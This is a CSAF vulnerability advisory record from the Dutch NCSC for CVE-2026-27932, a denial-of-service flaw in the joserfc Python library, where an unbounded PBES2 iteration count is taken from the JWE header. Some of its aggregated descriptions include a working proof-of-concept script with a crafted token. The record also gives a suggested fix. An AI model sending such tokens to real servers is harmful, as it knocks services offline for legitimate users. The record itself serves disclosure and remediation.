{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-27932",
        "tracking": {
            "current_release_date": "2026-03-23T10:29:05.601664Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-27932",
            "initial_release_date": "2026-03-02T19:39:50.481705Z",
            "revision_history": [
                {
                    "date": "2026-03-02T19:39:50.481705Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-02T19:39:56.718512Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-03T23:25:06.863023Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-03T23:25:16.390669Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-03T23:38:51.877401Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-03T23:38:58.979212Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-04T02:39:45.098469Z",
                    "number": "7",
                    "summary": "References created (2)."
                },
                {
                    "date": "2026-03-04T12:43:09.352876Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source."
                },
                {
                    "date": "2026-03-04T15:16:44.773578Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-04T15:16:53.421074Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-04T18:36:38.242576Z",
                    "number": "11",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (9).| Product Identifiers created (36).| Products connected (28).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-04T21:41:28.018851Z",
                    "number": "12",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-05T18:25:06.451123Z",
                    "number": "13",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-05T18:25:09.637008Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:39:27.453380Z",
                    "number": "15",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                }
            ],
            "status": "interim",
            "version": "15"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.1.0",
                                "product": {
                                    "name": "vers:unknown/0.1.0",
                                    "product_id": "CSAFPID-5759210",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.1.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.10.0",
                                "product": {
                                    "name": "vers:unknown/0.10.0",
                                    "product_id": "CSAFPID-5486917",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.10.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.0",
                                "product": {
                                    "name": "vers:unknown/0.11.0",
                                    "product_id": "CSAFPID-5486918",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.11.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11.1",
                                "product": {
                                    "name": "vers:unknown/0.11.1",
                                    "product_id": "CSAFPID-5486919",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.11.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.12.0",
                                "product": {
                                    "name": "vers:unknown/0.12.0",
                                    "product_id": "CSAFPID-5486920",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.12.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.2.0",
                                "product": {
                                    "name": "vers:unknown/0.2.0",
                                    "product_id": "CSAFPID-5486921",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.2.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.3.0",
                                "product": {
                                    "name": "vers:unknown/0.3.0",
                                    "product_id": "CSAFPID-5486922",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.3.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.4.0",
                                "product": {
                                    "name": "vers:unknown/0.4.0",
                                    "product_id": "CSAFPID-5486923",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.4.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.5.0",
                                "product": {
                                    "name": "vers:unknown/0.5.0",
                                    "product_id": "CSAFPID-5486924",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.5.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.6.0",
                                "product": {
                                    "name": "vers:unknown/0.6.0",
                                    "product_id": "CSAFPID-5486925",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.6.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.7.0",
                                "product": {
                                    "name": "vers:unknown/0.7.0",
                                    "product_id": "CSAFPID-5486926",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.7.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.8.0",
                                "product": {
                                    "name": "vers:unknown/0.8.0",
                                    "product_id": "CSAFPID-5486927",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.8.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.9.0",
                                "product": {
                                    "name": "vers:unknown/0.9.0",
                                    "product_id": "CSAFPID-5486928",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@0.9.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.0",
                                "product": {
                                    "name": "vers:unknown/1.0.0",
                                    "product_id": "CSAFPID-5486929",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.1",
                                "product": {
                                    "name": "vers:unknown/1.0.1",
                                    "product_id": "CSAFPID-5486930",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.0.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.2",
                                "product": {
                                    "name": "vers:unknown/1.0.2",
                                    "product_id": "CSAFPID-5486931",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.0.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.3",
                                "product": {
                                    "name": "vers:unknown/1.0.3",
                                    "product_id": "CSAFPID-5486932",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.0.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.4",
                                "product": {
                                    "name": "vers:unknown/1.0.4",
                                    "product_id": "CSAFPID-5486933",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.0.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.1.0",
                                "product": {
                                    "name": "vers:unknown/1.1.0",
                                    "product_id": "CSAFPID-5486934",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.1.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.2.0",
                                "product": {
                                    "name": "vers:unknown/1.2.0",
                                    "product_id": "CSAFPID-5486935",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.2.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.2.1",
                                "product": {
                                    "name": "vers:unknown/1.2.1",
                                    "product_id": "CSAFPID-5486936",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.2.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.2.2",
                                "product": {
                                    "name": "vers:unknown/1.2.2",
                                    "product_id": "CSAFPID-5486937",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.2.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.3.0",
                                "product": {
                                    "name": "vers:unknown/1.3.0",
                                    "product_id": "CSAFPID-5195449",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.3.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.3.1",
                                "product": {
                                    "name": "vers:unknown/1.3.1",
                                    "product_id": "CSAFPID-5195450",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.3.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.3.2",
                                "product": {
                                    "name": "vers:unknown/1.3.2",
                                    "product_id": "CSAFPID-5195451",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.3.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.3.3",
                                "product": {
                                    "name": "vers:unknown/1.3.3",
                                    "product_id": "CSAFPID-5195296",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.3.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.3.4",
                                "product": {
                                    "name": "vers:unknown/1.3.4",
                                    "product_id": "CSAFPID-5195297",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.3.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.3.5",
                                "product": {
                                    "name": "vers:unknown/1.3.5",
                                    "product_id": "CSAFPID-5759211",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.3.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.4.0",
                                "product": {
                                    "name": "vers:unknown/1.4.0",
                                    "product_id": "CSAFPID-5195298",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.4.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.4.1",
                                "product": {
                                    "name": "vers:unknown/1.4.1",
                                    "product_id": "CSAFPID-5195299",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.4.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.4.2",
                                "product": {
                                    "name": "vers:unknown/1.4.2",
                                    "product_id": "CSAFPID-5759212",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.4.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.4.3",
                                "product": {
                                    "name": "vers:unknown/1.4.3",
                                    "product_id": "CSAFPID-5759213",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.4.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.5.0",
                                "product": {
                                    "name": "vers:unknown/1.5.0",
                                    "product_id": "CSAFPID-5759214",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.5.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.0",
                                "product": {
                                    "name": "vers:unknown/1.6.0",
                                    "product_id": "CSAFPID-5759215",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.6.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.1",
                                "product": {
                                    "name": "vers:unknown/1.6.1",
                                    "product_id": "CSAFPID-5759216",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.6.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.2",
                                "product": {
                                    "name": "vers:unknown/1.6.2",
                                    "product_id": "CSAFPID-5759217",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/joserfc@1.6.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=1.6.2",
                                "product": {
                                    "name": "vers:unknown/<=1.6.2",
                                    "product_id": "CSAFPID-5757221"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<1.6.3",
                                "product": {
                                    "name": "vers:unknown/>=0|<1.6.3",
                                    "product_id": "CSAFPID-5759218"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "joserfc"
                    }
                ],
                "category": "vendor",
                "name": "authlib"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=1.6.2",
                                "product": {
                                    "name": "vers:unknown/<=1.6.2",
                                    "product_id": "CSAFPID-5763311",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:hsiaoming:joserfc:*:*:*:*:*:python:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "joserfc"
                    }
                ],
                "category": "vendor",
                "name": "hsiaoming"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-27932",
            "cwe": {
                "id": "CWE-770",
                "name": "Allocation of Resources Without Limits or Throttling"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "# Summary \n\nA resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token.\n\nThis vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.\n\n## Details\n \n**Vulnerable file:** `src/joserfc/_rfc7518/jwe_algs.py`\n**Vulnerable function:** `PBES2HSAlgKeyEncryption.decrypt_cek()` \n**Lines:** 283\n\n```python\ndef decrypt_cek(self, recipient: Recipient[OctKey]) -> bytes:\n    headers = recipient.headers()\n    # ...\n    p2c = headers[\"p2c\"]  # ← attacker-controlled integer\n    # ...\n    kek = self.compute_derived_key(key.get_op_key(\"deriveKey\"), p2s, p2c)\n```\nThe `p2c` value is then passed to `compute_derived_key` : \n\n```python\ndef compute_derived_key(self, key: bytes, p2s: bytes, p2c: int) -> bytes:\n    # ...\n    kdf = PBKDF2HMAC(\n        algorithm=self.hash_alg,\n        length=self.key_size // 8,\n        salt=salt,\n        iterations=p2c,  # ← unbounded iterations\n        backend=default_backend(),\n    )\n```\n\n**Impact on JWT Policies**\nAny JWT policy configured to allow PBES2 key management algorithms (e.g., `PBES2-HS256+A128KW`) is vulnerable. Because the DoS occurs during the decryption phase, the attack is triggered before any claim validation (e.g., \nexp,`iss, aud` checks) or nested signature verification takes place. This makes existing JWT \"policies\" ineffective as a defense if the underlying algorithm is permitted.\n\n\n## PoC\n\n**Tested against joserfc 1.6.2.\nLocal Reproduction:**\n\n```python\nimport time\nfrom joserfc import jwe\nfrom joserfc.jwk import OctKey\n\n# Force joserfc to use local source if needed\n# sys.path.insert(0, \"src\")\n\n# Attacker-crafted token with 10 million iterations\n# Normally legitimate p2c is ~2048-4096. 10M iterations = ~5s DoS.\ntoken = \"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiWjI5dVpYSm1ZdyIsInAyYyI6MTAwMDAwMDB9.dummy.dummy.dummy.dummy\"\n\nkey = OctKey.import_key(b\"any-password\")\n\nt0 = time.perf_counter()\ntry:\n    # This call will hang the thread for seconds\n    jwe.decrypt_compact(token, key, algorithms=[\"PBES2-HS256+A128KW\", \"A128CBC-HS256\"])\nexcept Exception:\n    pass\nprint(f\"Elapsed: {time.perf_counter() - t0:.2f}s\")\n```\n\n## Impact\nAn unauthenticated remote attacker can exhaust the CPU resources of a server by sending a small number of crafted JWE/JWT tokens. Each token will occupy a worker thread/process for a duration proportional to the `p2c` value (up to several minutes or hours depending on the integer value). This results in a complete Denial of Service for legitimate users.\n\n## Recommendation\nMinimal fix: Implement an upper bound check for the `p2c` parameter in `PBES2HSAlgKeyEncryption.decrypt_cek()`.\n\n```python\nMAX_P2C = 300000  # Example security bound\n\n# ... inside decrypt_cek ...\np2c = headers[\"p2c\"]\nif not isinstance(p2c, int) or p2c > MAX_P2C:\n    raise DecodeError(f\"p2c iteration count too high (max {MAX_P2C})\")\n```\nAdditionally, applications should only enable PBES2 algorithms if password-based encryption is specifically required and should enforce a strict  algorithms allowlist in their JWT/JWE policies.",
                    "title": "github - https://github.com/advisories/GHSA-w5r5-m38g-f9f9"
                },
                {
                    "category": "description",
                    "text": "joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In 1.6.2 and earlier, a resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token. This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27932"
                },
                {
                    "category": "description",
                    "text": "joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In 1.6.2 and earlier, a resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token. This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27932"
                },
                {
                    "category": "description",
                    "text": "joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In 1.6.2 and earlier, a resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token. This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-27932"
                },
                {
                    "category": "description",
                    "text": "# Summary \n\nA resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token.\n\nThis vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.\n\n## Details\n \n**Vulnerable file:** `src/joserfc/_rfc7518/jwe_algs.py`\n**Vulnerable function:** `PBES2HSAlgKeyEncryption.decrypt_cek()` \n**Lines:** 283\n\n```python\ndef decrypt_cek(self, recipient: Recipient[OctKey]) -> bytes:\n    headers = recipient.headers()\n    # ...\n    p2c = headers[\"p2c\"]  # ← attacker-controlled integer\n    # ...\n    kek = self.compute_derived_key(key.get_op_key(\"deriveKey\"), p2s, p2c)\n```\nThe `p2c` value is then passed to `compute_derived_key` : \n\n```python\ndef compute_derived_key(self, key: bytes, p2s: bytes, p2c: int) -> bytes:\n    # ...\n    kdf = PBKDF2HMAC(\n        algorithm=self.hash_alg,\n        length=self.key_size // 8,\n        salt=salt,\n        iterations=p2c,  # ← unbounded iterations\n        backend=default_backend(),\n    )\n```\n\n**Impact on JWT Policies**\nAny JWT policy configured to allow PBES2 key management algorithms (e.g., `PBES2-HS256+A128KW`) is vulnerable. Because the DoS occurs during the decryption phase, the attack is triggered before any claim validation (e.g., \nexp,`iss, aud` checks) or nested signature verification takes place. This makes existing JWT \"policies\" ineffective as a defense if the underlying algorithm is permitted.\n\n\n## PoC\n\n**Tested against joserfc 1.6.2.\nLocal Reproduction:**\n\n```python\nimport time\nfrom joserfc import jwe\nfrom joserfc.jwk import OctKey\n\n# Force joserfc to use local source if needed\n# sys.path.insert(0, \"src\")\n\n# Attacker-crafted token with 10 million iterations\n# Normally legitimate p2c is ~2048-4096. 10M iterations = ~5s DoS.\ntoken = \"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiWjI5dVpYSm1ZdyIsInAyYyI6MTAwMDAwMDB9.dummy.dummy.dummy.dummy\"\n\nkey = OctKey.import_key(b\"any-password\")\n\nt0 = time.perf_counter()\ntry:\n    # This call will hang the thread for seconds\n    jwe.decrypt_compact(token, key, algorithms=[\"PBES2-HS256+A128KW\", \"A128CBC-HS256\"])\nexcept Exception:\n    pass\nprint(f\"Elapsed: {time.perf_counter() - t0:.2f}s\")\n```\n\n## Impact\nAn unauthenticated remote attacker can exhaust the CPU resources of a server by sending a small number of crafted JWE/JWT tokens. Each token will occupy a worker thread/process for a duration proportional to the `p2c` value (up to several minutes or hours depending on the integer value). This results in a complete Denial of Service for legitimate users.\n\n## Recommendation\nMinimal fix: Implement an upper bound check for the `p2c` parameter in `PBES2HSAlgKeyEncryption.decrypt_cek()`.\n\n```python\nMAX_P2C = 300000  # Example security bound\n\n# ... inside decrypt_cek ...\np2c = headers[\"p2c\"]\nif not isinstance(p2c, int) or p2c > MAX_P2C:\n    raise DecodeError(f\"p2c iteration count too high (max {MAX_P2C})\")\n```\nAdditionally, applications should only enable PBES2 algorithms if password-based encryption is specifically required and should enforce a strict  algorithms allowlist in their JWT/JWE policies.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-w5r5-m38g-f9f9.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00108",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.9",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to CWE-770 (Allocation of Resources Without Limits or Throttling)",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent EPSS score, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5757221",
                    "CSAFPID-5195296",
                    "CSAFPID-5195297",
                    "CSAFPID-5195298",
                    "CSAFPID-5195299",
                    "CSAFPID-5195449",
                    "CSAFPID-5195450",
                    "CSAFPID-5195451",
                    "CSAFPID-5486917",
                    "CSAFPID-5486918",
                    "CSAFPID-5486919",
                    "CSAFPID-5486920",
                    "CSAFPID-5486921",
                    "CSAFPID-5486922",
                    "CSAFPID-5486923",
                    "CSAFPID-5486924",
                    "CSAFPID-5486925",
                    "CSAFPID-5486926",
                    "CSAFPID-5486927",
                    "CSAFPID-5486928",
                    "CSAFPID-5486929",
                    "CSAFPID-5486930",
                    "CSAFPID-5486931",
                    "CSAFPID-5486932",
                    "CSAFPID-5486933",
                    "CSAFPID-5486934",
                    "CSAFPID-5486935",
                    "CSAFPID-5486936",
                    "CSAFPID-5486937",
                    "CSAFPID-5759210",
                    "CSAFPID-5759211",
                    "CSAFPID-5759212",
                    "CSAFPID-5759213",
                    "CSAFPID-5759214",
                    "CSAFPID-5759215",
                    "CSAFPID-5759216",
                    "CSAFPID-5759217",
                    "CSAFPID-5759218",
                    "CSAFPID-5763311"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-w5r5-m38g-f9f9"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-w5r5-m38g-f9f9"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27932"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27932"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-27932"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27932.json"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-27932"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27932"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-w5r5-m38g-f9f9.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-w5r5-m38g-f9f9"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://github.com/authlib/joserfc/commit/696a961"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-w5r5-m38g-f9f9"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/authlib/joserfc/commit/696a9611ab982c45ee2190ed79ca8e1d8e09398f"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27932"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5195296",
                        "CSAFPID-5195297",
                        "CSAFPID-5195298",
                        "CSAFPID-5195299",
                        "CSAFPID-5195449",
                        "CSAFPID-5195450",
                        "CSAFPID-5195451",
                        "CSAFPID-5486917",
                        "CSAFPID-5486918",
                        "CSAFPID-5486919",
                        "CSAFPID-5486920",
                        "CSAFPID-5486921",
                        "CSAFPID-5486922",
                        "CSAFPID-5486923",
                        "CSAFPID-5486924",
                        "CSAFPID-5486925",
                        "CSAFPID-5486926",
                        "CSAFPID-5486927",
